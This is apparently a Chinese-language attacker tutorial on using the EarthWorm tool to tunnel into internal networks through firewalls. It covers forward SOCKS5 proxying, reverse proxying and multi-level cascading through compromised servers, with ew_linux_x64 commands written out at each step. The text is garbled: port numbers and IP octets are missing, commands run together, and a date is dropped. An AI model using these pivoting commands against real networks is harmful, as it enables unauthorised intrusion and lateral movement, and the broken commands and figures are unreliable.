一、内网穿透原理
1、什么是内网穿透
内网穿透就是利用各种隧道技术,以网络防火墙允许的协议,绕过网络防火墙的封锁,实现访问被封锁的目标网络。
2、内网穿透的原理
NAT(NetworkAddressTranslation,网络地址转换)是年提出的。当在专用网内部的一些主机本来已经分配到了本地IP地址(即仅在本专用网内使用的专用地址),但现在又想和因特网上的主机通信(并不需要加密)时,可使用NAT方法。
这种方法需要在专用网(私网IP)连接到因特网(公网IP)的路由器上安装NAT软件。装有NAT软件的路由器叫做NAT路由器,它至少有一个有效的外部全球IP地址(公网IP地址)。
这样,所有使用本地地址(私网IP地址)的主机在和外界通信时,都要在NAT路由器上将其本地地址转换成全球IP地址,才能和因特网连接。
二、EarthWorm介绍
EarthWorm是一套轻量便携且功能强大的网络穿透工具,基于标准C开发,具有socks5代理、端口转发和端口映射三大功能。相较于其他穿透工具,如reGeorg等,EarthWorm可以穿透更复杂的内网环境同时也不需要跳板机运行web服务,还可以支持多平台间的转接通讯,如Linux、Windows、MacOS、ArmLinux等。
根据官方文档说明,EarthWorm能够以“正向连接”、“反向连接”、“多级级联”等方式打通一条网络隧道,直达网络深处,用蚯蚓独有的手段突破网络限制,给防火墙松土。
三、EarthWorm内网穿透姿势
机器资源
攻击者设备
可以访问互联网
公网服务器
内网IP.16.32.5
公网IP.75..19
内网服务器1
内网IP.52..56
公网IP.16.16.2
内网服务器2
内网IP.16.16.6
内网服务器3
内网IP.16.16.17
1、使用正向代理
当攻击者位于外网时,无法直接访问到目标网络内部的主机,但是可以访问到目标网络中对外提供服务的主机,而恰巧这台主机也拥有内网IP地址(有公网IP),可以访问其他内网机器。
1)攻击者上传EW至内网服务器1,并执行以下命令,在端口上开启socks5代理。
chmod+xew_linux_x64./ew_linux_x64-sssocksd-l2)攻击者在自己的攻击机上使用浏览器插件SwitchyOmega进行socks5代理
连接到内网服务器1的公网IP端口上
3)攻击者可以通过浏览器访问到内网服务器2上的Web业务
4)攻击者可以使用SSTap进行全局代理,这样可以使御剑等扫描软件的流量代理到企业内网
2、反向代理
攻击者位于外网,且无法访问目标网络内部的主机,但是内部网络中存在一台对互联网提供服务的主机(无公网IP),而且还可以访问到其他内网机器。
1)攻击者可以在公网服务器1上运行EW监听端口,然后将流量转发到端口。
chmod+xew_linux_x64./ew_linux_x64-srcsocks-l-e2)攻击者在内网服务器1上使用Ew进行反向代理,将流量反弹到公网服务器的端口。
./ew_linux_x64-srssocks-d.75..19-e3)攻击者可以在攻击机上通过浏览器代理访问到内网服务器3上的Web业务。
3、多级连接
如果攻击者位于外网,无法访问目标网络内部的主机,但攻击者可以访问目标网络中对外提供服务的内网服务器1(无公网IP),同时还存在一台被控内网服务器2可以访问到其他内网机器(无公网IP)。
1)在公网服务器上执行以下命令,监听端口然后将流量转发到端口
chmod+xew_linux_x64./ew_linux_x64-srcsocks-l-e2)在内网服务器1上执行以下命令,主动连接内网服务器2的端口并将流量转发到公网服务器的端口。
./ew_linux_x64-slcx_slave-d.75..19-e-f.16.16.6-g3)在内网服务器2上执行以下命令,在端口上开启sockes5代理
./ew_linux_x64-sssocksd-l4)攻击者通过代理去访问内网服务器3的web业务
5)在内网服务器3上查看是内网服务器2在请求80端口
转发指令
工具中自带的三条端口转发指令,它们的参数格式分别为:
./ew_linux_x64-slcx_listen-l-e./ew_linux_x64-slcx_tran-l-f2.2.2.2-g./ew_linux_x64-slcx_slave-d1.1.1.1-e-f2.2.2.2-g
通过这些端口转发指令可以将处于网络深层的基于TCP的服务转发至根前。